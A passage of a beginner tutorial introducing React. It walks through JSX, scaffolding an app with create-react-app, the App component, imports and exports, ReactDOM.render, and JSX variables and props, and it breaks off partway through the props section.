ChromicPDF offers two primary methods of supplying Chrome with the HTML source to print. You can choose between passing in an URL for Chrome to load and injecting the HTML markup directly into the DOM through the remote debugging API.
Print from URL
Passing in a URL is the simplest way of printing a PDF. A target in Chrome is told to navigate to the given URL. When navigation is finished, the PDF is printed.
ChromicPDF.print_to_pdf({:url, ""}) ChromicPDF.print_to_pdf({:url, ""}) ChromicPDF.print_to_pdf({:url, ""})
Cookies
If your URL requires authentication, you can pass in a session cookie. The cookie is automatically cleared after the PDF has been printed.
cookie = %{ name: "foo", value: "bar", domain: "localhost" } ChromicPDF.print_to_pdf({:url, ""}, set_cookie: cookie)
See
Network.setCookie
for options.
name and
value keys are required.
Print from in-memory HTML
Alternatively,
print_to_pdf/2 allows to pass an in-memory HTML blob to Chrome in a
{:html, blob()} tuple. The HTML is sent to the target using the
Page.setDocumentContent
function. Oftentimes this method is preferable over printing a URL if you intend to render
PDFs from templates rendered within the application that also hosts ChromicPDF, without the
need to route the content through an actual HTTP endpoint. Also, this way of passing the
HTML source has slightly better performance than printing a URL.
ChromicPDF.print_to_pdf( {:html, "<h1>Hello World!</h1>"} )
In-memory content can be iodata
In-memory HTML for both the main input parameter as well as the header and footer options
can be passed as
iodata. Such lists
are converted to String before submission to the session process by passing them through
:erlang.iolist_to_binary/1.
ChromicPDF.print_to_pdf( {:html, ["<style>p { color: green; }</style>", "<p>green paragraph</p>"]} )
Caveats
Please mind the following caveats.
References to external files in HTML source
Please note that since the document content is replaced without navigating to a URL, Chrome has no way of telling which host to prepend to relative URLs contained in the source. This means, if your HTML contains markup like
<!-- BAD: relative link to stylesheet in <head> element --> <head> <link rel="stylesheet" href="selfhtml.css"> </head> <!-- BAD: relative link to image --> <img src="some_logo.png">
... you will need to replace these lines with either absolute URLs or inline data.
Of course, absolute URLs can use the
file:// scheme to point to files on the local
filesystem, assuming Chrome has access to them. For the purpose of displaying small
inline images (e.g. logos), data URLs
are a good way of embedding them without the need for an absolute URL.
<!-- GOOD: inline styles --> <style> /* ... */ </style> <!-- GOOD: data URLs --> <img src="data:image/png;base64,R0lGODdhEA..."> <!-- GOOD: absolute URLs --> <img src=""> <img src="">
Content from Phoenix templates
If your content is generated by a Phoenix template (and hence comes in the form of
{:safe, iodata()}), you will need to pass it to
Phoenix.HTML.safe_to_string/1 first.
content = SomeView.render("body.html") |> Phoenix.HTML.safe_to_string() ChromicPDF.print_to_pdf({:html, content})
PDF printing options
ChromicPDF.print_to_pdf( {:url, ""}, print_to_pdf: %{ # Margins are in given inches marginTop: 0.393701, marginLeft: 0.787402, marginRight: 0.787402, marginBottom: 1.1811, # Print header and footer (on each page). # This will print the default templates if none are given. displayHeaderFooter: true, # Even on empty string. # To disable header or footer, pass an empty element. headerTemplate: "<span></span>", # Example footer template. # They are completely unstyled by default and have a font-size of zero, # so don't despair if they don't show up at first. # There's a lot of documentation online about how to style them properly, # this is just a basic example. Also, take a look at the documentation for the # ChromicPDF.Template module. # The <span> classes shown below are interpolated by Chrome. footerTemplate: """ <style> p { color: #333; font-size: 10pt; text-align: right; margin: 0 0.787402in; width: 100%; z-index: 1000; } </style> <p> Page <span class="pageNumber"></span> of <span class="totalPages"></span> </p> """ } )
Please note the camel-case. For a full list of options to the
printToPDF function,
please see the Chrome documentation at:
Page size and margins
Chrome will use the provided
pagerWidth and
paperHeight dimensions as the PDF paper
format. Please be aware that the
@page section in the body CSS is not correctly
interpreted, see
ChromicPDF.Template for a discussion.
Header and footer
Chrome's support for native header and footer sections is a little bit finicky. Still, to the best of my knowledge, Chrome is currently the only well-functioning solution for HTML-to-PDF conversion if you need headers or footers that are repeated on multiple pages even in the presence of body elements stretching across a page break.
In order to make header and footer visible in the first place, you will need to be aware of a couple of caveats:
HTML for header and footer is interpreted in a new page context which means no body styles will be applied. In fact, even default browser styles are not present, so all content will have a default
font-sizeof zero, and so on.
You need to make space for the header and footer templates first, by adding page margins. Margins can either be given using the
marginTopand
marginBottomoptions or with CSS styles. If you use the options, the height of header and footer elements will inherit these values. If you use CSS styles, make sure to set the height of the elements in CSS as well.
Header and footer have a default padding to the page ends of 0.4 centimeters. To remove this, add the following to header/footer template styles (source).
#header, #footer { padding: 0 !important; }
Header and footer have a default
zoomlevel of 1/0.75 so everything appears to be smaller than in the body when the same styles are applied.
If header or footer are not displayed even though they should, make sure your HTML is valid. Tuning the margins for an hour looking for mistakes there, only to discover that you are missing a closing
</style>tag, can be quite painful.
Javascript is not interpreted.
Background colors are not applied unless you include
-webkit-print-color-adjust: exactin your stylesheet.
See
print_header_footer_template.html
from the Chromium sources to see how these values are interpreted.
Dynamic Content
Evaluate script before printing
In case your print source is generated by client-side scripts, for instance to render graphics or load additional resources, you can trigger these by evaluating a JavaScript expression before the PDF is printed.
evaluate = %{ expression: """ document.querySelector('body').innerHTML = 'hello world'; """ } ChromicPDF.print_to_pdf({:url, ""}, evaluate: evaluate)
If your script returns a Promise, Chrome will wait for it to be resolved.
Wait for attribute on element
Some JavaScript libraries signal their successful initialization to the user by setting an
attribute on a DOM element. The
wait_for option allows you to wait for this attribute to
be set before printing. It evaluates a script that repeatedly queries the element given by
the query selector and tests whether it has the given attribute.
wait_for = %{ selector: "#my-element", attribute: "ready-to-print" } ChromicPDF.print_to_pdf({:url, ""}, wait_for: wait_for)
print_to_pdfa(input, opts \\ [])View Source
Specs
print_to_pdfa( input :: source() | source_and_options(), opts :: [pdf_option() | pdfa_option()] ) :: return()
Prints a PDF and converts it to PDF/A in a single call.
See
print_to_pdf/2 and
convert_to_pdfa/2 for options.
Example
ChromicPDF.print_to_pdfa({:url, ""})
start_link(config \\ [])View Source
Specs
start_link([global_option()]) :: Supervisor.on_start() | Agent.on_start()
Starts ChromicPDF.
If the given config includes the
on_demand: true flag, this will instead spawn an
Agent process that holds this configuration until a PDF operation is triggered which
will then launch a supervisor temporarily, process the operation, and proceed to perform
a graceful shutdown. | https://hexdocs.pm/chromic_pdf/ChromicPDF.html | CC-MAIN-2021-25 | refinedweb | 3,352 | 55.54 |
The Object Model, as Figure 3-1 illustrates.
If you’ve ever tackled any kind of difficult programming problem, it’s likely that.
For example, if you were to write a program that modeled home water usage, you might invent objects to represent the various components of the water-delivery system. One might be a
Faucet object that would have methods to start and stop the flow of water, set the rate of flow, return the amount of water consumed in a given period, and so on. To do this work, a
Faucet object would need instance variables to keep track of whether the tap is open or shut, how much water is being used, and where the water is coming from.
Clearly, a programmatic
Faucet object (as illustrated in Figure 3-2). Each object has a specific role to play in the overall design of the program and is able to communicate with other objects. Objects communicate through messages, which are requests to perform methods.
The objects in the network won’t all be the same. For example, in addition to
Faucet objects, the program that models water usage might also have
Pipe objects that can deliver water to the
Faucet and
Valve objects to regulate the flow among pipes. There could be a
Building object to coordinate a set of pipes, valves, and faucets, some
Appliance objects—corresponding to dishwashers, toilets, and washing machines—that can turn valves on and off, and maybe some
User objects to work the appliances and faucets. When a
Building object is asked how much water is being used, it might call upon each
Faucet and
Valve object to report its current state. When a user starts up an appliance, the appliance will need to turn on a valve to get the water it requires.
The Messaging Metaphor
Every programming paradigm comes with its own terminology and metaphors. The jargon associated with object-oriented programming metaphor is actually very useful. it is self-contained and to a certain extent can act on its own. Like an actor onstage, it can’t stray from the script, but the role it plays can be multifaceted and determines the exact operation that is initiated, the data that is archived, or the image that is drawn.
Because methods belong to objects, they can be invoked only through a particular receiver (the owner of the method and of the data structure the method will act on). Different receivers can have different implementations of the same method. Consequently,.
Classes
A program can have more than one object of the same kind. The program that models water usage, for example, might have several faucets and pipes and perhaps a handful of appliances and users. Objects of the same kind are said to be members, the declaration
defines the
struct key type. Once defined, the structure name can be used to produce any number of instances of the type:
The declaration is a template for a kind of structure, but it doesn’t create a structure that the program can use. It takes another step to allocate memory for an actual structure of that type, a step that can be repeated any number of times. particular to the instance.
However, a class definition differs from a structure declaration in that it also defines methods that specify the behavior of class members. Every instance is characterized by its access to the methods defined for the class. Two objects with equivalent data structures but different methods would not belong to the same class.
Modularity
To a C programmer, a module is nothing more than a file containing source code. Breaking a large (or even not-so-large) program into different files is a convenient way of splitting it into manageable pieces. Each piece can be worked on independently and compiled alone, and then integrated with other pieces when the program is linked.
Using the
static storage class designator to limit the scope of names to just the files where they’re declared enhances the independence of source modules..
Object-oriented programming languages support the use of file containers for source code, but they also add a logical module to the language—class definitions. As you’d expect, it’s often the case that each class is defined in its own source file—logical modules are matched to container modules.
In Objective-C, for example, it would be possible to define the part of the
Valve class that interacts with
Pipe objects in the same file that defines the
Pipe class, thus creating a container module for
Pipe-related code and splitting the.
Reusability
A principal goal of object-oriented programming is to make the code you write as reusable as possible—to have it serve many different situations and applications—so that you can avoid reimplementing, even if only slightly differently, something that’s already been done.
Reusability is influenced by factors such as these:
How reliable and bug-free the code is
How clear the documentation is
How simple and straightforward the programming interface is
How efficiently the code performs its tasks
How full the feature set is
These factors don’t apply just to the object model. They can be used to judge the reusability of any code—standard C functions as well as class definitions. Efficient and well-documented functions, for example, would be more reusable than undocumented and unreliable ones.
Nevertheless, a general comparison would show that class definitions lend themselves to reusable code in ways that functions do not. There are various things you can do to make functions more reusable— for example, passing data as parameters rather than assuming specifically named global variables. Even so, it turns out that only a small subset of functions can be generalized beyond the applications they were originally designed for. Their reusability is inherently limited in at least three ways:
Function names are global; each function must have a unique name (except for those declared
static). This naming requirement makes it difficult to rely heavily on library code when building a complex system. The programming interface would be hard to learn and so extensive that it couldn’t easily capture significant generalizations.
Classes, on the other hand, can share programming interfaces. When the same naming conventions are used over and over, a great deal of functionality can be packaged with a relatively small and easy-to-understand interface.
Functions are selected from a library one at a time. It’s up to programmers to pick and choose the individual functions they need.
In contrast, objects come as packages of functionality, not as individual methods and instance variables. They provide integrated services, so users of an object-oriented library won’t get bogged down piecing together their own solutions to a problem.
Functions are typically tied to particular kinds of data structures devised for a specific program. The interaction between data and function is an unavoidable part of the interface. A function is useful only to those who agree to use the same kind of data structures it accepts as parameters.
Because it hides its data, an object doesn’t have this problem. This is one of the principal reasons that classes can be reused more easily than functions.
An object’s data is protected and won’t be touched by any other part of the program. Methods can therefore trust its integrity. They can be sure that external access hasn’t put data into an illogical or untenable state. As a result, an object data structure is more reliable than one passed to a function, and methods can depend on it more. Reusable methods are consequently easier to write.
Moreover, because an object’s data is hidden, a class can be reimplemented to use a different data structure without affecting its interface. All programs that use the class can pick up the new version without changing any source code; no reprogramming is required.
Mechanisms of Abstraction
To this point, objects have been introduced as units that embody higher-level abstractions and as coherent role-players within an application. However, they couldn’t be used this way without the support of various language mechanisms. Two of the most important mechanisms are encapsulation and polymorphism.
Encapsulation keeps the implementation of an object out of its interface, and polymorphism results from giving each class its own namespace. The following sections discuss each of these mechanisms in turn.
Encapsulation—that is, hide it from other parts of the program. Encapsulation protects an implementation from unintended actions and from inadvertent access.
In C, a function is clearly encapsulated; its implementation is inaccessible to other parts of the program and protected from whatever actions might be taken outside the body of the function. In Objective-C, method implementations are similarly encapsulated, but more importantly so are an object’s instance variables. They’re hidden inside the object and invisible outside it. The encapsulation of instance variables is sometimes also called information hiding.
It might seem, at first, that hiding the information in instance variables might constrain your freedom as a programmer. Actually, it gives you more room to act and frees you from constraints that might otherwise be imposed. If any part of an object’s implementation could leak out and become accessible or a concern to other parts of the program, it would tie the hands both of the object’s implementer and of those who would use the object. Neither could make modifications without first checking with the other.
Suppose, for example, that you’re interested in the
Faucet object being developed for the program that models water use and you want to incorporate it in another program you’re writing. Once the interface to the object is decided, you don’t have to be concerned when others work on it, fix bugs, and find better ways to implement it. You get the benefit of these improvements, but none of them affects what you do in your program. Because you depend solely on the interface, nothing they do can break your code. Your program is insulated from the object’s implementation.
Moreover, although those implementing the
Faucet object might be interested in how you use the class and might try to make sure it meets your needs, they don’t have to be concerned with the way you write your code. Nothing you do can touch the implementation of the object or limit their freedom to make implementation changes in future releases. The implementation is insulated from anything that you or other users of the object might do.
Polymorphism
The ability of different objects to respond, each in its own way, to identical messages is called polymorphism.
Polymorphism results from the fact that every class lives in its own namespace. The names assigned within a class definition don’t conflict with names assigned anywhere outside it. This is true both of the instance variables in an object’s data structure and of the object’s methods:
Just as the fields of a C structure are in a protected namespace, so are an object’s instance variables.
Method names are also protected. Unlike the names of C functions, method names aren’t global symbols. The name of a method in one class can’t conflict with method names in other classes; two very different classes can implement identically named methods..
For example, suppose you want to report the amount of water used by an
Appliance object over a given period of time. Instead of defining an
amountConsumed method for the
Appliance class, an
amountDispensedAtFaucet method for a
Faucet class, and a
cumulativeUsage method for a
Building class, you can simply define a
waterUsed method for each class. This consolidation reduces the number of methods used for what is conceptually the same operation.; you need only to; you merely allow another object to be assigned as the message receiver.
Inheritance
The easiest way to explain something new is to start with something understood. If you want to describe what a schooner is, it helps if your listeners already know what a sailboat is. you want to define a new kind of object; the description is simpler if it can start from the definition of an existing object.
With this in mind,, would share the same definition. It would be like explaining what a fiddle is by saying that it’s exactly the same as a violin. However, the reason for declaring a subclass isn’t to generate synonyms; it to create something at least a little different from its superclass. For example, you might extend the behavior of the fiddle to allow it to play bluegrass in addition to classical music.
Class Hierarchies
Any class can be used as a superclass for a new class definition. A class can simultaneously be a subclass of another class, and a superclass for its own subclasses. Any number of classes can thus be linked in a hierarchy of inheritance, such as the one depicted in Figure 3-3. class is the accumulation of all the class definitions in its inheritance chain. In the example above, class D inherits both from C—its superclass—and the root class. Members of the D class having a single hierarchy that branches downward as shown in Figure 3-3, multiple inheritance lets some branches of the hierarchy (or of different hierarchies) merge.
Subclass Definitions
A subclass can make three kinds of changes to the definition it inherits through its superclass:
It can expand the class definition it inherits by adding new methods and instance variables. This is the most common reason for defining a subclass. Subclasses always add new methods and add new instance variables if the methods require it.
It can modify the behavior it inherits by replacing an existing method with a new version. This is done by simply implementing a new method with the same name as one that’s inherited. The new version overrides the inherited version. (The inherited method doesn’t disappear; it’s still valid for the class that defined it and other classes that inherit it.)
It can refine or extend the behavior it inherits by replacing an existing method with a new version, but it still retains the old version by incorporating it in the new method. A subclass sends a message to perform the old version in the body of the new method. Each class in an inheritance chain can contribute part of a method’s behavior. In Figure 3-3, for example, class D might override a method defined in class C and incorporate C’s version, while C’s version incorporates a version defined in the root class.
Subclasses thus tend to fill out a superclass definition, making it more specific and specialized. They add, and sometimes replace, code rather than subtract it. Note that methods generally can’t be disinherited and instance variables can’t be removed or overridden.
Uses of Inheritance
The classic examples of an inheritance hierarchy are borrowed from animal and plant taxonomies. For example, there could be a class corresponding to the Pinaceae (pine) family of trees. Its subclasses could be
Fir,
Spruce,
Pine,
Hemlock,
Tamarack,
DouglasFir, and
TrueCedar, corresponding to the various genera that make up the family. The
Pine class might have
SoftPine and
HardPine subclasses, with
WhitePine,
SugarPine, and
BristleconePine as subclasses of
SoftPine, and
PonderosaPine,
JackPine,
MontereyPine, and
RedPine as subclasses of
HardPine.
There’s rarely a reason to program a taxonomy like this, but the analogy is a good one. Subclasses tend to specialize a superclass or adapt it to a special purpose, much as a species specializes a genus.
Here are some typical uses of inheritance:
Reusing code. If two or more classes have some things in common but also differ in some ways, the common elements can be put in a single class definition that the other classes inherit. The common code is shared and need only be implemented once.
For example,
Faucet,
Valve, and
Pipeobjects, defined for the program that models water use, all need a connection to a water source and should be able to record the rate of flow. These commonalities can be encoded once, in a class that the
Faucet,
Valve, and
Pipeclasses inherit from. A
Faucetobject can be said to be a kind of
Valveobject, so perhaps the
Faucetclass would inherit most of what it is from
Valve, and add little of its own.
Setting up a protocol. A class can declare a number of methods that its subclasses are expected to implement. The class might have empty versions of the methods, or it might implement partial versions that are to be incorporated into the subclass methods. In either case, its declarations establish a protocol that all its subclasses must follow.
When different classes implement similarly named methods, a program is better able to make use of polymorphism in its design. Setting up a protocol that subclasses must implement helps enforce these conventions.
Delivering generic functionality. One implementer can define a class that contains a lot of basic, general code to solve a problem but that doesn’t fill in all the details. Other implementers can then create subclasses to adapt the generic class to their specific needs. For example, the
Applianceclass in the program that models water use might define a generic water-using device that subclasses would turn into specific kinds of appliances.
Inheritance is thus both a way to make someone else’s programming task easier and a way to separate levels of implementation.
Making slight modifications. When inheritance is used to deliver generic functionality, set up a protocol, or reuse code, a class is devised that other classes are expected to inherit from. But you can also use inheritance to modify classes that aren’t intended as superclasses. Suppose, for example, that there’s an object that would work well in your program, but you’d like to change one or two things that it does. You can make the changes in a subclass.
Previewing possibilities. Subclasses can also be used to factor out alternatives for testing purposes. For example, if a class is to be encoded with a particular user interface, alternative interfaces can be factored into subclasses during the design phase of the project. Each alternative can then be demonstrated to potential users to see which they prefer. When the choice is made, the selected subclass can be reintegrated into its superclass.
Dynamism
At one time in programming history, the question of how much memory a program might use was typically. The introduction of functions that dynamically allocate memory as a program runs (such as
malloc).
Objective-C seeks to overcome these limitations and to make programs as dynamic and fluid as possible. It shifts much of the burden of decision making from compile time and link time to runtime. The goal is to let program users decide what will happen, rather than constrain their actions artificially by the demands of the language and the needs of the compiler and linker.
Three kinds of dynamism are especially important for object-oriented design:
Dynamic typing, waiting until runtime to determine the class of an object
Dynamic binding, determining at runtime what method to invoke
Dynamic loading, adding new components to a program as it runs
Dynamic Typing
The compiler typically complains if the code you write assigns a value to a type that can’t accommodate it. You might see warnings like these:
Type checking is useful, but there are times when it can interfere with the benefits you get from polymorphism, especially if the type of every object must be known to the compiler.
Suppose, for example, that you want to send an object a message to perform the
start method. Like other data elements, the object is represented by a variable. If the variable’s type (its class) must be known at compile time, it would be impossible to let runtime factors influence the decision about what kind of object should be assigned to the variable. If the class of the variable is fixed in source code, so is the version of
start that the message invokes.
If, on the other hand, it’s possible to wait until runtime runtime, rather than forcing them to be encoded in a static design. For example, a message could pass an object as a parameter without declaring exactly what kind of object it is—that is, without declaring its class. The message receiver might then send its own messages to the object, again without ever caring about what kind of object it is. Because the receiver uses the passed object to do some of its work, it is in a sense customized by an object of indeterminate type (indeterminate in source code, that is, not at runtime).
Dynamic Binding
In standard C, you can declare a set of alternative functions, such as the standard string-comparison functions,
and declare a pointer to a function that has the same return and parameter types:
You can then wait until runtime to determine which function to assign to the pointer,
and call the function through the pointer: runtime, the method is dynamically bound to the message. When it’s done by the compiler, the method is statically bound.
Dynamic binding is possible even in the absence of dynamic typing, but it’s not very interesting. There’s little benefit in waiting until runtime to match a method to a message when the class of the receiver is fixed and known to the compiler. The compiler could just as well find the method itself; the runtime result won’t be any different.
However, if the class of the receiver is dynamically typed, there’s no way for the compiler to determine which method to invoke. The method can be found only after the class of the receiver is resolved at runtime. Dynamic typing thus entails dynamic binding.
Dynamic typing also makes dynamic binding interesting, for it opens the possibility that a message might have very different results depending on the class of the receiver. Runtime factors can influence the choice of receiver and the outcome of the message.
Dynamic typing and binding also open the possibility that the code you write can send messages to objects not yet invented. If object types don’t have to be decided until runtime, you can give others the freedom to design their own classes and name their own data types and still have your code send messages to their objects. All you need to agree on are the messages, not the data types.
Dynamic Loading
Historically, in many common environments, before a program can run, all its parts had to be linked together in one file. When it was launched, the entire program was loaded into memory at once. does not have to be developed at once. You can deliver your software in pieces and update one part of it at a time. You can devise a program that groups several tools under a single interface, and load just the tools the user wants. The program can even offer sets of alternative tools to do the same job—the user then selects one tool from the set and only that tool would be loaded.
Perhaps the most important current benefit of dynamic loading is that it makes applications extensible. You can allow others to add to and customize a program you’ve designed. All your program needs to do is provide a framework that others can fill in, and, at runtime, find the pieces that they’ve implemented and load them dynamically. namespace..
Copyright © 2010 Apple Inc. All Rights Reserved. Terms of Use | Privacy Policy | Updated: 2010-11-15 | https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/OOP_ObjC/Articles/ooObjectModel.html | CC-MAIN-2017-13 | refinedweb | 3,950 | 51.58 |
In this article we will say hello to React. We'll discover a little bit of detail about its background and use cases, set up a basic React toolchain on our local computer, and create and play with a simple starter app, learning a bit about how React works in the process.
Hello React
As its official tagline states, React is a library for building user interfaces. React is not a framework – it's not even exclusive to the web. It's used with other libraries to render to certain environments. For instance, React Native can be used to build mobile applications; React 360 can be used to build virtual reality applications; and there are other possibilities besides.
To build for the web, developers use React in tandem with ReactDOM. React and ReactDOM are often discussed in the same spaces as, and utilized to solve the same problems as, other true web development frameworks. When we refer to React as a "framework", we’re working with that colloquial understanding.
React's primary goal is to minimize the bugs that occur when developers are building UIs. It does this through the use of components — self-contained, logical pieces of code that describe a portion of the user interface. These components can be composed together to create a full UI, and React abstracts away much of the rendering work, leaving you to concentrate on the UI design.
Use cases
Unlike the other frameworks covered in this module, React does not enforce strict rules around code conventions or file organization. This allows teams to set conventions that work best for them, and to adopt React in any way they would like to. React can handle a single button, a few pieces of an interface, or an app's entire user interface.
While React can be used for small pieces of an interface, it's not as easy to "drop into" an application as a library like jQuery, or even a framework like Vue — it is more approachable when you build your entire app with React.
In addition, many of the developer-experience benefits of a React app, such as writing interfaces with JSX, require a compilation process. Adding a compiler like Babel to a website makes the code on it run slowly, so developers often set up such tooling with a build step. React arguably has a heavy tooling requirement, but it can be learnt.
This article is going to focus on the use case of using React to render the entire user interface of an application, using tooling provided by Facebook’s own create-react-app tool.
How does React use JavaScript?
React utilizes features of modern JavaScript for many of its patterns. Its biggest departure from JavaScript comes with the use of JSX syntax. JSX extends JavaScript's syntax so that HTML-like code can live alongside it. For example:
const heading = <h1>Mozilla Developer Network</h1>;
This heading constant is known as a JSX expression. React can use it to render that
<h1> tag in our app.
Suppose we wanted to wrap our heading in a
<header> tag, for semantic reasons? The JSX approach allows us to nest our elements within each other, just like we do with HTML:
const header = ( <header> <h1>Mozilla Developer Network</h1> </header> );
Note: The parentheses in the previous snippet aren't unique to JSX, and don’t have any effect on your application. They're a signal to you (and your computer) that the multiple lines of code inside are part of the same expression. You could just as well write the header expression like this:
const header = <header> <h1>Mozilla Developer Network</h1> </header>
However, this looks kind of awkward, because the
<header> tag that starts the expression is not indented to the same position as its corresponding closing tag.
Of course, your browser can't read JSX without help. When compiled (using a tool like Babel or Parcel), our header expression would look like this:
const header = React.createElement("header", null, React.createElement("h1", null, "Mozilla Developer Network") );
It's possible to skip the compilation step and use
React.createElement() to write your UI yourself. In doing this, however, you lose the declarative benefit of JSX, and your code becomes harder to read. Compilation is an extra step in the development process, but many developers in the React community think that the readability of JSX is worthwhile. Plus, popular tooling makes JSX-to-JavaScript compilation part of its setup process. You don't have to configure compilation yourself unless you want to.
Because JSX is a blend of HTML and JavaScript, some developers find it intuitive. Others say that its blended nature makes it confusing. Once you're comfortable with it, however, it will allow you build user interfaces more quickly and intuitively, and allow others to better understand your code base at a glance.
To read more about JSX, check out the React team's JSX In Depth article.
Setting up your first React app
There are many ways to use React, but we're going to use the command-line interface (CLI) tool create-react-app, as mentioned earlier, which expedites the process of developing a React application by installing some packages and creating some files for you, handling the tooling described above.
It's possible to add React to a website without create-react-app by copying some
<script> elements into an HTML file, but the create-react-app CLI is a common starting point for React applications. Using it will allow you spend more time building your app, and less time fussing with setup.
Requirements
In order to use create-react-app, you need to have Node.js installed. It's recommended that you use the long-term support (LTS) version. Node includes npm (the node package manager), and npx (the node package runner).
You may also use the Yarn package manager as an alternative,. See Command line crash course for more information on these, and on terminal commands in general.
Also bear in mind that React and ReactDOM produce apps that only work on a fairly modern set of browsers — IE9+ by way of some polyfills. It is recommended that you use a modern browser like Firefox, Safari, or Chrome when working through these tutorials.
Also see the following for more information:
Initializing your app
create-react-app takes one argument: the name you'd like to give your app. create-react-app uses this name to make a new directory, then creates the necessary files inside it. Make sure you
cd to the place you'd like your app to live on your hard drive, then run the following in your terminal:
npx create-react-app moz-todo-react
This creates a
moz-todo-react directory, and does several things inside it:
- Installs some npm packages essential to the functionality of the app.
- Writes scripts for starting and serving the application.
- Creates a structure of files and directories that define the basic app architecture.
- Initializes the directory as a git repository, if you have git installed on your computer.
Note: if you have the yarn package manager installed, create-react-app will default to using it instead of npm. If you have both package managers installed and explicitly want to use NPM, you can add the flag
--use-npm when you run create-react-app:
npx create-react-app moz-todo-react --use-npm
create-react-app will display a number of messages in your terminal while it works; this is normal! This might take a few minutes, so now might be a good time to go make a cup of tea.
When the process is complete,
cd into the
moz-todo-react directory and run the command
npm start. The scripts installed by create-react-app will start being served at a local server at localhost:3000, and open the app in a new browser tab. Your browser will display something like this:
Application structure
create-react-app gives us everything we need to develop a React application. Its initial file structure looks like this:
moz-todo-react ├── README.md ├── node_modules ├── package.json ├── package-lock
The
src directory is where we'll spend most of our time, as it's where the source code for our application lives.
The
public directory contains files that will be read by your browser while you're developing the app; the most important of these is
index.html. React injects your code into this file so that your browser can run it. There's some other markup that helps create-react-app function, so take care not to edit it unless you know what you're doing. You very much should change the text inside the
<title> element in this file to reflect the title of your application. Accurate page titles are important for accessibility!
The
public directory will also be published when you build and deploy a production version of your app. We won’t cover deployment in this tutorial, but you should be able to use a similar solution to that described in our Deploying our app tutorial.
The
package.json file contains information about our project that Node.js/npm uses to keep it organized. This file is not unique to React applications; create-react-app merely populates it. You don't need to understand this file at all to complete this tutorial, however, if you'd like to learn more about it, you can read What is the file `package.json`? on NodeJS.org; we also talk about it in our Package management basics tutorial.
Exploring our first React component —
<App/>
In React, a component is a reusable module that renders a part of our app. These parts can be big or small, but they are usually clearly defined: they serve a single, obvious purpose.
Let's open
src/App.js, since our browser is prompting us to edit it. This file contains our first component,
App, and a few other lines of code:;
The
App.js file consists of three main parts: some
import statements at the top, the
App component in the middle, and an
export statement at the bottom. Most React components follow this pattern.
Import statements
The
import statements at the top of the file allow
App.js to use code that has been defined elsewhere. Let's look at these statements more closely.
import React from 'react'; import logo from './logo.svg'; import './App.css';
The first statement imports the React library itself. Because React turns the JSX we write into
React.createElement(), all React components must import the
React module. If you skip this step, your application will produce an error.
The second statement imports a logo from
'./logo.svg'. Note the
./ at the beginning of the path, and the
.svg extension at the end — these tell us that the file is local and that it is not a JavaScript file. Indeed, the
logo.svg file lives in our source directory.
We don't write a path or extension when importing the
React module — this is not a local file; instead, it is listed as a dependency in our
package.json file. Be careful of this distinction as you work through this lesson!
The third statement imports the CSS related to our App component. Note that there is no variable name and no
from directive. This particular import syntax is not native to JavaScript module syntax – it comes from Webpack, the tool create-react-app uses to bundle all our JavaScript files together and serve them to the browser.
The
App component
After the imports, we have a function named
App. Whereas most of the JavaScript community prefers camel-case names like
helloWorld, React components use pascal-case variable names, like
HelloWorld, to make it clear that a given JSX element is a React component, and not a regular HTML tag. If you were to rename the
App function to
app, your browser would show you an error.
Let's look at App more closely.> ); }
The
App function returns a JSX expression. This expression defines what your browser ultimately renders to the DOM.
Some elements in the expression have attributes, which are written just like in HTML, following a pattern of
attribute="value". On line 3, the opening
<div> tag has a
className attribute. This is the same as the
class attribute in HTML, but because JSX is JavaScript, we can't use the word
class – it's reserved, meaning JavaScript already uses it for a specific purpose and it would cause problems here in our code. A few other HTML attributes are written differently in JSX than they are in HTML too, for the same kind of reason. We'll cover them as we encounter them.
Take a moment to change the
<p> tag on line 6 so that it reads "Hello, world!", then save your file. You'll notice that this change is immediately rendered in the development server running at in your browser. Now delete the
<a> tag and save; the "Learn React" link will be gone.
Your
App component should now look like this:
function App() { return ( <div className="App"> <header className="App-header"> <img src={logo} <p> Hello, World! </p> </header> </div> ); }
Export statements
At the very bottom of the
App.js file, the statement
export default App makes our
App component available to other modules.
Interrogating the index
Let’s open
src/index.js, because that's where the
App component is being used. This file is the entry point for our app, and it initially looks like this:();
As with
App.js, the file starts by importing all the JS modules and other assets it needs to run.
src/index.css holds global styles that are applied to our whole app. We can also see our
App component imported here; it is made available for import thanks to the
export statement at the bottom of
App.js.
Line 7 calls React’s
ReactDOM.render() function with two arguments:
- The component we want to render,
<App />in this case.
- The DOM element inside which we want the component to be rendered, in this case the element with an ID of
root. If you look inside
public/index.html, you'll see that this is a
<div>element just inside the
<body>.
All of this tells React that we want to render our React application with the
App component as the root, or first component.
Note: In JSX, React components and HTML elements must have closing slashes. Writing just
<App> or just
<img> will cause an error.
Service workers are interesting pieces of code that help application performance and allow features of your web applications to work offline, but they’re not in scope for this article. You can delete line 5, as well as lines 9 through 12.
Your final
index.js file should look like this:
import React from 'react'; import ReactDOM from 'react-dom'; import './index.css'; import App from './App'; ReactDOM.render(<App />, document.getElementById('root'));
Variables and props
Next, we'll use a few of our JavaScript skills to get a bit more comfortable editing components and working with data in React. We'll talk about how variables are used inside JSX, and introduce props, which are a way of passing data into a component (which can then be accessed using variables).
Variables in JSX
Back in
App.js, let’s focus on line 9:
<img src={logo}
Here, the
<img /> tag's
src attribute value is in curly braces. This is how JSX recognizes variables. React will see
{logo}, know you are referring to the logo import on line 2 of our app, then retrieve the logo file and render it.
Let's try making a variable of our own. Before the return statement of
App, add
const subject = 'React';. Your
App component should now look like this:
function App() { const <header className="App-header"> <img src={logo} <p> Hello, World! </p> </header> </div> ); }
Change line 8 to use our
subject variable instead of the word "world", like this:
function App() { const <header className="App-header"> <img src={logo} <p> Hello, {subject}! </p> </header> </div> ); }
When you save, your browser should display "Hello, React!" instead of "Hello, world!"
Variables are convenient, but the one we've just set doesn’t make great use of React's features. That's where props come in.
Component props
A prop is any data passed into a React component. Props are written inside component calls, and use the same syntax as HTML attributes —
prop="value". Let’s open
index.js and give our
<App/> call its first prop.
Add a prop of
subject to the
<App/> component call, with a value of
Clarice. When you are done, your code should look something like this:
ReactDOM.render(<App subject="Clarice" />, document.getElementById('root'));
Back in
App.js, let's revisit the App function itself, which reads like this (with the
return statement shortened for brevity):
function App() { const subject = "React"; return ( // return statement ); }
Change the signature of the
App function so that it accepts
props as a parameter, and delete the
subject const. Just like any other function parameter, you can put
props in a
console.log() to print it to your browser's console. Go ahead and do that before the
return statement, like so:
function App(props) { console.log(props); return ( // return statement ); }
Save your file and check your browser's JavaScript console. You should see something like this logged:
Object { subject: "Clarice" }
The object property
subject corresponds to the
subject prop we added to our
<App /> component call, and the string
